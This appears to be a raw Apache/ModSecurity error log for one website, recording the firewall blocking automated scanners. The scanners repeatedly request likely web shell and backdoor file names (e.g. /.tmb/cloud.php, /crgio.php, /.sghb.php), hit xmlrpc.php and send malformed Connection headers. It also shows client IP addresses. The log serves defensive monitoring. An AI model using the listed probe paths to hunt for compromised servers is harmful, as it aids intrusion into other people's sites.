[Tue Apr 28 08:38:12.682996 2026] [:error] [pid 33864:tid 33885] [client 37.187.27.125:49804] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "afABdDXchLGZ4QggCsmXQAAAAJM"]
[Tue Apr 28 08:38:44.163538 2026] [:error] [pid 33775:tid 33784] [client 37.187.27.125:50232] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afABlJsYOcoQrq88YbXZBQAAAMU"]
[Tue Apr 28 10:42:22.031472 2026] [:error] [pid 2741:tid 2758] [client 203.2.64.59:52761] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afAejvp92FeOz1h6ILw0QAAAAUw"]
[Tue Apr 28 11:14:03.824862 2026] [autoindex:error] [pid 2741:tid 2753] [client 20.56.20.8:55521] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Apr 28 12:43:32.377711 2026] [:error] [pid 33776:tid 33814] [client 43.134.186.61:43676] [client 43.134.186.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afA69F-bEJ2CKP3iKADwMwAAAEY"]
[Tue Apr 28 13:51:59.998855 2026] [:error] [pid 33864:tid 33866] [client 51.103.73.149:30746] [client 51.103.73.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/cloud.php"] [unique_id "afBK_zXchLGZ4QggCsndsAAAAIA"]
[Tue Apr 28 13:52:01.089739 2026] [:error] [pid 50889:tid 50898] [client 51.103.73.149:21625] [client 51.103.73.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/cloud.php"] [unique_id "afBLAYzszBr00txEzGjzkgAAAAY"]
[Tue Apr 28 13:52:02.081785 2026] [:error] [pid 33777:tid 33846] [client 51.103.73.149:28204] [client 51.103.73.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/cloud.php"] [unique_id "afBLArXUCFWqmordGGJFfwAAAQs"]
[Tue Apr 28 13:52:03.057508 2026] [:error] [pid 2741:tid 2764] [client 51.103.73.149:15898] [client 51.103.73.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/cloud.php"] [unique_id "afBLA_p92FeOz1h6ILyCqgAAAVI"]
[Tue Apr 28 14:09:27.596454 2026] [:error] [pid 2741:tid 2760] [client 43.130.102.223:45420] [client 43.130.102.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afBPF_p92FeOz1h6ILyHbwAAAU4"]
[Tue Apr 28 16:05:32.573396 2026] [:error] [pid 33777:tid 33856] [client 206.255.112.6:61205] [client 206.255.112.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.255.112.6, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afBqTLXUCFWqmordGGJ_gwAAARU"]
[Tue Apr 28 17:23:02.042299 2026] [:error] [pid 33776:tid 33824] [client 221.229.106.25:54800] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afB8dl-bEJ2CKP3iKAAZFAAAAFA"]
[Tue Apr 28 19:46:47.823580 2026] [:error] [pid 50889:tid 50898] [client 68.221.203.83:57184] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/crgio.php"] [unique_id "afCeJ4zszBr00txEzGg-GwAAAAY"]
[Tue Apr 28 19:46:48.403291 2026] [:error] [pid 33776:tid 33814] [client 68.221.203.83:18568] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/crgio.php"] [unique_id "afCeKF-bEJ2CKP3iKAAtIwAAAEY"]
[Tue Apr 28 19:46:48.934813 2026] [:error] [pid 33776:tid 33824] [client 68.221.203.83:57818] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/crgio.php"] [unique_id "afCeKF-bEJ2CKP3iKAAtJAAAAFA"]
[Tue Apr 28 19:46:49.506886 2026] [:error] [pid 33776:tid 33818] [client 68.221.203.83:57849] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/crgio.php"] [unique_id "afCeKV-bEJ2CKP3iKAAtJwAAAEo"]
[Tue Apr 28 19:46:50.083731 2026] [:error] [pid 2741:tid 2751] [client 68.221.203.83:18598] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/geforce.php"] [unique_id "afCeKvp92FeOz1h6ILznGgAAAUU"]
[Tue Apr 28 19:46:50.750019 2026] [:error] [pid 33776:tid 33831] [client 68.221.203.83:23135] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/geforce.php"] [unique_id "afCeKl-bEJ2CKP3iKAAtKQAAAFc"]
[Tue Apr 28 19:46:51.378616 2026] [:error] [pid 33776:tid 33816] [client 68.221.203.83:57186] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/geforce.php"] [unique_id "afCeK1-bEJ2CKP3iKAAtKgAAAEg"]
[Tue Apr 28 19:46:52.047981 2026] [:error] [pid 33775:tid 33789] [client 68.221.203.83:18620] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/geforce.php"] [unique_id "afCeLJsYOcoQrq88YbUpQgAAAMo"]
[Tue Apr 28 19:46:52.641211 2026] [:error] [pid 2741:tid 2753] [client 68.221.203.83:23104] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "afCeLPp92FeOz1h6ILznGwAAAUc"]
[Tue Apr 28 19:46:53.170482 2026] [:error] [pid 33777:tid 33851] [client 68.221.203.83:57834] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "afCeLbXUCFWqmordGGLRIQAAARA"]
[Tue Apr 28 19:46:53.656337 2026] [:error] [pid 33777:tid 33837] [client 68.221.203.83:18613] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "afCeLbXUCFWqmordGGLRIgAAAQI"]
[Tue Apr 28 19:46:54.282586 2026] [:error] [pid 33864:tid 33869] [client 68.221.203.83:57792] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "afCeLjXchLGZ4QggCskZlgAAAIM"]
[Tue Apr 28 19:46:54.858416 2026] [:error] [pid 2741:tid 2755] [client 68.221.203.83:23117] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/77.php"] [unique_id "afCeLvp92FeOz1h6ILznHAAAAUk"]
[Tue Apr 28 19:46:55.373434 2026] [:error] [pid 33864:tid 33879] [client 68.221.203.83:23126] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/77.php"] [unique_id "afCeLzXchLGZ4QggCskZsAAAAI0"]
[Tue Apr 28 19:46:55.963418 2026] [:error] [pid 33775:tid 33796] [client 68.221.203.83:18562] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/77.php"] [unique_id "afCeL5sYOcoQrq88YbUpYAAAANE"]
[Tue Apr 28 19:46:56.531801 2026] [:error] [pid 50889:tid 50900] [client 68.221.203.83:20649] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/77.php"] [unique_id "afCeMIzszBr00txEzGg-HAAAAAg"]
[Tue Apr 28 19:46:57.072069 2026] [:error] [pid 2741:tid 2748] [client 68.221.203.83:23124] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.sghb.php"] [unique_id "afCeMfp92FeOz1h6ILznIAAAAUI"]
[Tue Apr 28 19:46:57.615554 2026] [:error] [pid 33777:tid 33859] [client 68.221.203.83:57212] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.sghb.php"] [unique_id "afCeMbXUCFWqmordGGLRTAAAARg"]
[Tue Apr 28 19:46:58.185272 2026] [:error] [pid 33777:tid 33853] [client 68.221.203.83:23109] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.sghb.php"] [unique_id "afCeMrXUCFWqmordGGLRTQAAARI"]
[Tue Apr 28 19:46:58.705908 2026] [:error] [pid 50889:tid 50902] [client 68.221.203.83:23124] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.sghb.php"] [unique_id "afCeMozszBr00txEzGg-HQAAAAo"]
[Tue Apr 28 19:46:59.189406 2026] [:error] [pid 50889:tid 50915] [client 68.221.203.83:18614] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoko.php"] [unique_id "afCeM4zszBr00txEzGg-HgAAABc"]
[Tue Apr 28 19:46:59.785399 2026] [:error] [pid 33776:tid 33817] [client 68.221.203.83:23142] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoko.php"] [unique_id "afCeM1-bEJ2CKP3iKAAtWwAAAEk"]
[Tue Apr 28 19:47:00.506616 2026] [:error] [pid 33775:tid 33792] [client 68.221.203.83:18571] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoko.php"] [unique_id "afCeNJsYOcoQrq88YbUpZQAAAM0"]
[Tue Apr 28 19:47:01.035795 2026] [:error] [pid 33864:tid 33889] [client 68.221.203.83:18576] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoko.php"] [unique_id "afCeNTXchLGZ4QggCskZuAAAAJc"]
[Tue Apr 28 19:47:01.691148 2026] [:error] [pid 2741:tid 2757] [client 68.221.203.83:57153] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/solo1.php"] [unique_id "afCeNfp92FeOz1h6ILznJQAAAUs"]
[Tue Apr 28 19:47:02.212012 2026] [:error] [pid 33777:tid 33851] [client 68.221.203.83:20687] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/solo1.php"] [unique_id "afCeNrXUCFWqmordGGLRTgAAARA"]
[Tue Apr 28 19:47:02.938484 2026] [:error] [pid 50889:tid 50906] [client 68.221.203.83:57798] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/solo1.php"] [unique_id "afCeNozszBr00txEzGg-IQAAAA4"]
[Tue Apr 28 19:47:03.539881 2026] [:error] [pid 50889:tid 50903] [client 68.221.203.83:23149] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/solo1.php"] [unique_id "afCeN4zszBr00txEzGg-IgAAAAs"]
[Tue Apr 28 19:47:04.385032 2026] [:error] [pid 33864:tid 33883] [client 68.221.203.83:57852] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/locales.php"] [unique_id "afCeODXchLGZ4QggCskZugAAAJE"]
[Tue Apr 28 19:47:05.002378 2026] [:error] [pid 33775:tid 33794] [client 68.221.203.83:57820] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/locales.php"] [unique_id "afCeOZsYOcoQrq88YbUpZgAAAM8"]
[Tue Apr 28 19:47:05.660127 2026] [:error] [pid 33777:tid 33854] [client 68.221.203.83:23159] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/locales.php"] [unique_id "afCeObXUCFWqmordGGLRUQAAARM"]
[Tue Apr 28 19:47:06.217818 2026] [:error] [pid 33777:tid 33848] [client 68.221.203.83:20678] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/locales.php"] [unique_id "afCeOrXUCFWqmordGGLRVQAAAQ0"]
[Tue Apr 28 19:47:06.777500 2026] [:error] [pid 33864:tid 33867] [client 68.221.203.83:57163] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "afCeOjXchLGZ4QggCskZvQAAAIE"]
[Tue Apr 28 19:47:07.343171 2026] [:error] [pid 33776:tid 33808] [client 68.221.203.83:23155] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "afCeO1-bEJ2CKP3iKAAtYAAAAEA"]
[Tue Apr 28 19:47:07.964366 2026] [:error] [pid 2741:tid 2753] [client 68.221.203.83:57801] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "afCeO_p92FeOz1h6ILznKQAAAUc"]
[Tue Apr 28 19:47:08.680249 2026] [:error] [pid 2741:tid 2755] [client 68.221.203.83:20676] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "afCePPp92FeOz1h6ILznKgAAAUk"]
[Tue Apr 28 19:47:09.418545 2026] [:error] [pid 50889:tid 50895] [client 68.221.203.83:23166] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pucci.php"] [unique_id "afCePYzszBr00txEzGg-NQAAAAM"]
[Tue Apr 28 19:47:10.260194 2026] [:error] [pid 33864:tid 33870] [client 68.221.203.83:23166] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pucci.php"] [unique_id "afCePjXchLGZ4QggCskZvwAAAIQ"]
[Tue Apr 28 19:47:10.909097 2026] [:error] [pid 50889:tid 50893] [client 68.221.203.83:57193] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pucci.php"] [unique_id "afCePozszBr00txEzGg-OgAAAAE"]
[Tue Apr 28 19:47:11.455638 2026] [:error] [pid 50889:tid 50897] [client 68.221.203.83:57827] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pucci.php"] [unique_id "afCeP4zszBr00txEzGg-PQAAAAU"]
[Tue Apr 28 19:47:12.151195 2026] [:error] [pid 33777:tid 33839] [client 68.221.203.83:23131] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "afCeQLXUCFWqmordGGLRVgAAAQQ"]
[Tue Apr 28 19:47:12.920595 2026] [:error] [pid 33777:tid 33850] [client 68.221.203.83:18577] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "afCeQLXUCFWqmordGGLRVwAAAQ8"]
[Tue Apr 28 19:47:13.587600 2026] [:error] [pid 2741:tid 2768] [client 68.221.203.83:23119] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "afCeQfp92FeOz1h6ILznKwAAAVY"]
